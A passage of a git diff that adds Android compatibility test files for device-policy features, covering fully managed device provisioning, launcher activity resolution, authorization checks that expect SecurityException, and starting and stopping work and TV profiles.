+    private boolean isPackageInstalledOnUser(String packageName, UserHandle user) {
+        Package resolvedPackage = sTestApis.packages().find(packageName).resolve();
+        if (resolvedPackage == null) {
+            return false;
+        }
+        return resolvedPackage.installedOnUsers().contains(sTestApis.users().find(user));
+    }
+
+    private Set<String> getConfigurableDefaultCrossProfilePackages() {
+        Set<String> defaultPackages = sDevicePolicyManager.getDefaultCrossProfilePackages();
+        CrossProfileApps crossProfileApps = sContext.getSystemService(CrossProfileApps.class);
+        return defaultPackages.stream().filter(
+                crossProfileApps::canConfigureInteractAcrossProfiles).collect(
+                Collectors.toSet());
+    }
+
+    private DevicePolicyManager getDpmForUser(UserHandle user) {
+        return getContextForUser(user).getSystemService(DevicePolicyManager.class);
+    }
+
+    private Context getContextForUser(UserHandle user) {
+        if (sContext.getUserId() == user.getIdentifier()) {
+            return sContext;
+        }
+        return sContext.createContextAsUser(user, /* flags= */ 0);
+    }
+
+    @RequireRunOnPrimaryUser
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    @Test
+    public void newlyProvisionedFullyManagedDevice_setsDeviceOwner() throws Exception {
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            FullyManagedDeviceProvisioningParams params =
+                    createDefaultManagedDeviceProvisioningParamsBuilder().build();
+            resetUserSetupCompletedFlag();
+            sDevicePolicyManager.provisionFullyManagedDevice(params);
+
+            assertThat(sDevicePolicyManager.isDeviceOwnerApp(sContext.getPackageName())).isTrue();
+        } finally {
+            sDevicePolicyManager.forceRemoveActiveAdmin(
+                    DEVICE_ADMIN_COMPONENT_NAME, sContext.getUserId());
+            setUserSetupCompletedFlag();
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    @Test
+    public void newlyProvisionedFullyManagedDevice_doesNotThrowException() throws Exception {
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            FullyManagedDeviceProvisioningParams params =
+                    createDefaultManagedDeviceProvisioningParamsBuilder().build();
+            resetUserSetupCompletedFlag();
+            sDevicePolicyManager.provisionFullyManagedDevice(params);
+
+        } finally {
+            sDevicePolicyManager.forceRemoveActiveAdmin(
+                    DEVICE_ADMIN_COMPONENT_NAME, sContext.getUserId());
+            setUserSetupCompletedFlag();
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    @Test
+    public void newlyProvisionedFullyManagedDevice_canControlSensorPermissionGrantsByDefault()
+            throws Exception {
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            FullyManagedDeviceProvisioningParams params =
+                    createDefaultManagedDeviceProvisioningParamsBuilder().build();
+            resetUserSetupCompletedFlag();
+            sDevicePolicyManager.provisionFullyManagedDevice(params);
+
+            assertThat(sDevicePolicyManager.canAdminGrantSensorsPermissions()).isTrue();
+        } finally {
+            sDevicePolicyManager.forceRemoveActiveAdmin(
+                    DEVICE_ADMIN_COMPONENT_NAME, sContext.getUserId());
+            setUserSetupCompletedFlag();
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    @Test
+    public void newlyProvisionedFullyManagedDevice_canOptOutOfControllingSensorPermissionGrants()
+            throws Exception {
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            FullyManagedDeviceProvisioningParams params =
+                    createDefaultManagedDeviceProvisioningParamsBuilder()
+                            .setDeviceOwnerCanGrantSensorsPermissions(false)
+                            .build();
+            resetUserSetupCompletedFlag();
+            sDevicePolicyManager.provisionFullyManagedDevice(params);
+
+            assertThat(sDevicePolicyManager.canAdminGrantSensorsPermissions()).isFalse();
+        } finally {
+            sDevicePolicyManager.forceRemoveActiveAdmin(
+                    DEVICE_ADMIN_COMPONENT_NAME, sContext.getUserId());
+            setUserSetupCompletedFlag();
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireRunOnPrimaryUser
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    @Test
+    @Postsubmit(reason="new test")
+    public void newlyProvisionedFullyManagedDevice_leavesAllSystemAppsEnabledWhenRequested()
+            throws Exception {
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            FullyManagedDeviceProvisioningParams params =
+                    createDefaultManagedDeviceProvisioningParamsBuilder()
+                            .setLeaveAllSystemAppsEnabled(true)
+                            .build();
+            resetUserSetupCompletedFlag();
+            sDevicePolicyManager.provisionFullyManagedDevice(params);
+            Set<String> systemAppsBeforeProvisioning = findSystemApps();
+
+            Set<String> systemAppsAfterProvisioning = findSystemApps();
+            assertThat(systemAppsAfterProvisioning).isEqualTo(systemAppsBeforeProvisioning);
+        } finally {
+            sDevicePolicyManager.forceRemoveActiveAdmin(
+                    DEVICE_ADMIN_COMPONENT_NAME, sContext.getUserId());
+            setUserSetupCompletedFlag();
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    @Test
+    public void getPolicyExemptAppsCanOnlyBeDefinedOnAutomotiveBuilds() throws Exception {
+        assumeFalse("device has " + PackageManager.FEATURE_AUTOMOTIVE,
+                sPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+        assertWithMessage("list of policy-exempt apps")
+                .that(invokeWithShellPermissionIdentity(
+                        () -> sDevicePolicyManager.getPolicyExemptApps()))
+                .isEmpty();
+    }
+
+    FullyManagedDeviceProvisioningParams.Builder
+            createDefaultManagedDeviceProvisioningParamsBuilder() {
+        return new FullyManagedDeviceProvisioningParams.Builder(
+                DEVICE_ADMIN_COMPONENT_NAME,
+                DEVICE_OWNER_NAME)
+                // Don't remove system apps during provisioning until the testing
+                // infrastructure supports restoring uninstalled apps.
+                .setLeaveAllSystemAppsEnabled(true);
+    }
+
+    private void resetUserSetupCompletedFlag() {
+        Settings.Secure.putInt(sContext.getContentResolver(), USER_SETUP_COMPLETE_KEY, 0);
+        sDevicePolicyManager.forceUpdateUserSetupComplete();
+    }
+
+    private void setUserSetupCompletedFlag() {
+        Settings.Secure.putInt(sContext.getContentResolver(), USER_SETUP_COMPLETE_KEY, 1);
+        sDevicePolicyManager.forceUpdateUserSetupComplete();
+    }
+
+    private Set<String> findSystemApps() {
+        return sPackageManager.getInstalledApplications(PackageManager.MATCH_SYSTEM_ONLY)
+                .stream()
+                .map(applicationInfo -> applicationInfo.packageName)
+                .collect(Collectors.toSet());
+    }
+
+    // TODO(b/175380793): Add remaining cts test for DPM#provisionManagedDevice and
+    //  DPM#createAndProvisionManagedProfile.
+    //  Currently the following methods are not used.
+    /**
+     * Allows {@link #restorePreProvisioningApps} to be called to restore the pre-provisioning apps
+     * that were uninstalled during provisioning.
+     */
+    private void persistPreProvisioningApps() {
+        SystemUtil.runShellCommand(SET_DEVICE_OWNER_ACTIVE_ADMIN_COMMAND);
+        SystemUtil.runShellCommand(SET_DEVICE_OWNER_COMMAND);
+
+        Set<String> systemApps = findSystemApps();
+        sSharedPreferences.edit()
+                .putStringSet(KEY_PRE_PROVISIONING_SYSTEM_APPS, systemApps)
+                .commit();
+        Set<String> nonSystemApps = findNonSystemApps(systemApps);
+        sSharedPreferences.edit()
+                .putStringSet(KEY_PRE_PROVISIONING_NON_SYSTEM_APPS, nonSystemApps)
+                .commit();
+        sDevicePolicyManager.setKeepUninstalledPackages(
+                DEVICE_ADMIN_COMPONENT_NAME, new ArrayList<>(nonSystemApps));
+
+        SystemUtil.runShellCommand(REMOVE_ACTIVE_ADMIN_COMMAND);
+    }
+
+    /**
+     * Restores apps that were uninstalled prior to provisioning. No-op if {@link
+     * #persistPreProvisioningApps()} was not called prior to provisioning. Subsequent
+     * calls will need another prior call to {@link #persistPreProvisioningApps()} to avoid being a
+     * no-op.
+     */
+    public void restorePreProvisioningApps() {
+        SystemUtil.runShellCommand(SET_DEVICE_OWNER_ACTIVE_ADMIN_COMMAND);
+        SystemUtil.runShellCommand(SET_DEVICE_OWNER_COMMAND);
+
+        Set<String> postProvisioningSystemApps = findSystemApps();
+        restorePreProvisioningSystemApps(postProvisioningSystemApps);
+        restorePreProvisioningNonSystemApps(postProvisioningSystemApps);
+        sSharedPreferences.edit().clear().commit();
+        sDevicePolicyManager.setKeepUninstalledPackages(
+                DEVICE_ADMIN_COMPONENT_NAME, new ArrayList<>());
+
+        SystemUtil.runShellCommand(REMOVE_ACTIVE_ADMIN_COMMAND);
+    }
+
+    private void restorePreProvisioningSystemApps(Set<String> postProvisioningSystemApps) {
+        Set<String> preProvisioningSystemApps = sSharedPreferences.getStringSet(
+                KEY_PRE_PROVISIONING_SYSTEM_APPS, Collections.emptySet());
+        for (String preProvisioningSystemApp : preProvisioningSystemApps) {
+            if (postProvisioningSystemApps.contains(preProvisioningSystemApp)) {
+                continue;
+            }
+            sDevicePolicyManager.enableSystemApp(
+                    DEVICE_ADMIN_COMPONENT_NAME, preProvisioningSystemApp);
+        }
+    }
+
+    private void restorePreProvisioningNonSystemApps(Set<String> postProvisioningSystemApps) {
+        Set<String> preProvisioningNonSystemApps = sSharedPreferences.getStringSet(
+                KEY_PRE_PROVISIONING_NON_SYSTEM_APPS, Collections.emptySet());
+        Set<String> postProvisioningNonSystemApps = findNonSystemApps(postProvisioningSystemApps);
+        for (String preProvisioningNonSystemApp : preProvisioningNonSystemApps) {
+            if (postProvisioningNonSystemApps.contains(preProvisioningNonSystemApp)) {
+                continue;
+            }
+            sDevicePolicyManager.installExistingPackage(
+                    DEVICE_ADMIN_COMPONENT_NAME, preProvisioningNonSystemApp);
+        }
+    }
+
+    private Set<String> findNonSystemApps(Set<String> systemApps) {
+        return sPackageManager.getInstalledApplications(PackageManager.MATCH_ALL)
+                .stream()
+                .map(applicationInfo -> applicationInfo.packageName)
+                .filter(packageName -> !systemApps.contains(packageName))
+                .collect(Collectors.toSet());
+    }
+
+    private static <T> T invokeWithShellPermissionIdentity(Callable<T> callable) throws Exception {
+        try {
+            sUiAutomation.adoptShellPermissionIdentity();
+            return callable.call();
+        } finally {
+            sUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/LauncherAppsTests.java b/tests/devicepolicy/src/android/devicepolicy/cts/LauncherAppsTests.java
new file mode 100644
index 0000000..a7dfc6f
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/LauncherAppsTests.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static org.junit.Assert.assertNull;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.LauncherApps;
+import android.os.Process;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public final class LauncherAppsTests {
+    private final Context sContext = ApplicationProvider.getApplicationContext();
+    private final LauncherApps sLauncherApps = sContext.getSystemService(LauncherApps.class);
+
+    @Test
+    public void testResolveInvalidActivity_doesNotCrash() {
+        final Intent intent = new Intent();
+        intent.setComponent(new ComponentName("invalidPackage", "invalidClass"));
+
+        // Test that resolving invalid intent does not crash launcher
+        assertNull(sLauncherApps.resolveActivity(intent, Process.myUserHandle()));
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/MainActivity.java b/tests/devicepolicy/src/android/devicepolicy/cts/MainActivity.java
new file mode 100644
index 0000000..ebfaf40
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/MainActivity.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserManager;
+import android.widget.TextView;
+
+/**
+ * An activity that displays the serial number of the user that it is running into.
+ */
+public class MainActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        setContentView(R.layout.main);
+    }
+
+    @Override
+    public void onStart() {
+        super.onStart();
+        TextView textView = findViewById(R.id.user_textview);
+        textView.setText(Long.toString(getCurrentUserSerialNumber()));
+    }
+
+    private long getCurrentUserSerialNumber() {
+        UserManager userManager = getSystemService(UserManager.class);
+        return userManager.getSerialNumberForUser(Process.myUserHandle());
+    }
+}
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
new file mode 100644
index 0000000..a759dcd
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NegativeCallAuthorizationTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.filters.SmallTest;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.RequireFeatures;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that certain DevicePolicyManager APIs aren't available to non-owner apps and that they throw
+ * SecurityException when invoked by such apps. For most of the older APIs that accept an explicit
+ * ComponentName admin argument, this is tested in android.admin.cts.DevicePolicyManagerTest by
+ * passing an admin that is not owner, but for newer APIs authorization is done based on caller UID,
+ * so it is critical that the app is not owner. These APIs are tested here.
+ */
+@SmallTest
+@RunWith(BedsteadJUnit4.class)
+public class NegativeCallAuthorizationTest {
+    private static final String ALIAS = "some-alias";
+    private static final Context sContext = ApplicationProvider.getApplicationContext();
+    private static final DevicePolicyManager sDpm =
+            sContext.getSystemService(DevicePolicyManager.class);
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    public void testHasKeyPair_failIfNotOwner() {
+        assertThrows(SecurityException.class, () -> sDpm.hasKeyPair(ALIAS));
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_DEVICE_ADMIN)
+    public void testGetKeyPairGrants_failIfNotOwner() {
+        assertThrows(SecurityException.class, () -> sDpm.getKeyPairGrants(ALIAS));
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NonExportedActivity.java b/tests/devicepolicy/src/android/devicepolicy/cts/NonExportedActivity.java
new file mode 100644
index 0000000..a76f4ee
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NonExportedActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import android.app.Activity;
+
+/** Activity used for Cross Profile Apps Tests */
+public class NonExportedActivity extends Activity {
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/NonMainActivity.java b/tests/devicepolicy/src/android/devicepolicy/cts/NonMainActivity.java
new file mode 100644
index 0000000..7ef5f8a
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/NonMainActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import android.app.Activity;
+
+/** Activity used for Cross Profile Apps Tests */
+public class NonMainActivity extends Activity {
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java
new file mode 100644
index 0000000..e710611
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/StartProfilesTest.java
@@ -0,0 +1,331 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.ActivityManager;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.UserManager;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
+import com.android.bedstead.harrier.annotations.EnsureHasTvProfile;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireFeatures;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import org.junit.After;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.function.Function;
+
+@RunWith(BedsteadJUnit4.class)
+public final class StartProfilesTest {
+
+    // We set this to 30 seconds because if the total test time goes over 66 seconds then it causes
+    // infrastructure problems
+    private static final long PROFILE_ACCESSIBLE_BROADCAST_TIMEOUT = 30 * 1000;
+
+    private static final Context sContext = ApplicationProvider.getApplicationContext();
+    private static final UserManager sUserManager = sContext.getSystemService(UserManager.class);
+    private static final ActivityManager sActivityManager =
+            sContext.getSystemService(ActivityManager.class);
+
+    private UiAutomation mUiAutomation =
+            InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    private final TestApis mTestApis = new TestApis();
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    @After
+    public void tearDown() {
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    private Function<Intent, Boolean> userIsEqual(UserReference user) {
+        return (intent) -> user.userHandle().equals(intent.getParcelableExtra(Intent.EXTRA_USER));
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void startProfile_returnsTrue() {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        sDeviceState.workProfile().stop();
+
+        assertThat(sActivityManager.startProfile(sDeviceState.workProfile().userHandle())).isTrue();
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void startProfile_broadcastIsReceived_profileIsStarted() {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        sDeviceState.workProfile().stop();
+        BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                Intent.ACTION_PROFILE_ACCESSIBLE,
+                userIsEqual(sDeviceState.workProfile()));
+        sActivityManager.startProfile(sDeviceState.workProfile().userHandle());
+
+        broadcastReceiver.awaitForBroadcastOrFail();
+
+        assertThat(sUserManager.isUserRunning(sDeviceState.workProfile().userHandle())).isTrue();
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="b/181207615 flaky")
+    public void stopProfile_returnsTrue() {
+        // TODO(b/171565394): remove after infra supports shell permissions annotation
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        sDeviceState.workProfile().start();
+
+        try {
+            assertThat(sActivityManager.stopProfile(
+                    sDeviceState.workProfile().userHandle())).isTrue();
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            sDeviceState.workProfile().start();
+        }
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="b/181207615 flaky")
+    public void stopProfile_profileIsStopped() {
+        // TODO(b/171565394): remove after infra supports shell permissions annotation
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        sDeviceState.workProfile().start();
+        BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                Intent.ACTION_PROFILE_INACCESSIBLE, userIsEqual(sDeviceState.workProfile()));
+
+        try {
+            sActivityManager.stopProfile(sDeviceState.workProfile().userHandle());
+            broadcastReceiver.awaitForBroadcastOrFail();
+
+            assertThat(
+                    sUserManager.isUserRunning(sDeviceState.workProfile().userHandle())).isFalse();
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            sDeviceState.workProfile().start();
+        }
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="b/181207615 flaky")
+    public void startUser_immediatelyAfterStopped_profileIsStarted() {
+        // TODO(b/171565394): remove after infra supports shell permissions annotation
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        sDeviceState.workProfile().start();
+        BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                Intent.ACTION_PROFILE_INACCESSIBLE, userIsEqual(sDeviceState.workProfile()));
+
+        sActivityManager.stopProfile(sDeviceState.workProfile().userHandle());
+        broadcastReceiver.awaitForBroadcast();
+
+        try {
+            // start profile as soon as ACTION_PROFILE_INACCESSIBLE is received
+            // verify that ACTION_PROFILE_ACCESSIBLE is received if profile is re-started
+            broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                    Intent.ACTION_PROFILE_ACCESSIBLE, userIsEqual(sDeviceState.workProfile()));
+            sActivityManager.startProfile(sDeviceState.workProfile().userHandle());
+            Intent broadcast = broadcastReceiver.awaitForBroadcast();
+
+            assertWithMessage("Expected to receive ACTION_PROFILE_ACCESSIBLE broadcast").that(
+                    broadcast).isNotNull();
+            assertThat(
+                    sUserManager.isUserRunning(sDeviceState.workProfile().userHandle())).isTrue();
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            sDeviceState.workProfile().start();
+        }
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="b/181207615 flaky")
+    public void startUser_userIsStopping_profileIsStarted() {
+        // TODO(b/171565394): remove after infra supports shell permissions annotation
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        sDeviceState.workProfile().start();
+
+        // stop and restart profile without waiting for ACTION_PROFILE_INACCESSIBLE broadcast
+        sActivityManager.stopProfile(sDeviceState.workProfile().userHandle());
+        try {
+            sActivityManager.startProfile(sDeviceState.workProfile().userHandle());
+
+            assertThat(sUserManager.isUserRunning(
+                    sDeviceState.workProfile().userHandle())).isTrue();
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            sDeviceState.workProfile().start();
+        }
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    @Postsubmit(reason="b/181207615 flaky")
+    public void startProfile_withoutPermission_throwsException() {
+        assertThrows(SecurityException.class,
+                () -> sActivityManager.startProfile(sDeviceState.workProfile().userHandle()));
+    }
+
+    @Test
+    @RequireFeatures(PackageManager.FEATURE_MANAGED_USERS)
+    @RequireRunOnPrimaryUser
+    @EnsureHasWorkProfile
+    public void stopProfile_withoutPermission_throwsException() {
+        try {
+            assertThrows(SecurityException.class,
+                    () -> sActivityManager.stopProfile(sDeviceState.workProfile().userHandle()));
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            sDeviceState.workProfile().start();
+        }
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    @Postsubmit(reason="b/181207615 flaky")
+    public void startProfile_startingFullUser_throwsException() {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+
+        assertThrows(IllegalArgumentException.class,
+                () -> sActivityManager.startProfile(sDeviceState.secondaryUser().userHandle()));
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasSecondaryUser
+    public void stopProfile_stoppingFullUser_throwsException() {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+
+        try {
+            assertThrows(IllegalArgumentException.class,
+                    () -> sActivityManager.stopProfile(sDeviceState.secondaryUser().userHandle()));
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            sDeviceState.secondaryUser().start();
+        }
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasTvProfile
+    public void startProfile_tvProfile_profileIsStarted() {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
+                "android.permission.INTERACT_ACROSS_USERS",
+                "android.permission.CREATE_USERS");
+        sDeviceState.tvProfile().stop();
+
+        try {
+            BlockingBroadcastReceiver broadcastReceiver = sDeviceState.registerBroadcastReceiver(
+                    Intent.ACTION_PROFILE_ACCESSIBLE, userIsEqual(sDeviceState.tvProfile()));
+
+            assertThat(
+                    sActivityManager.startProfile(sDeviceState.tvProfile().userHandle())).isTrue();
+            broadcastReceiver.awaitForBroadcast();
+
+            assertThat(sUserManager.isUserRunning(sDeviceState.tvProfile().userHandle())).isTrue();
+        } finally {
+            // TODO(b/171565394): Remove once teardown is done for us
+            sDeviceState.tvProfile().start();
+        }
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasTvProfile
+    public void stopProfile_tvProfile_profileIsStopped() {
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.INTERACT_ACROSS_USERS_FULL",
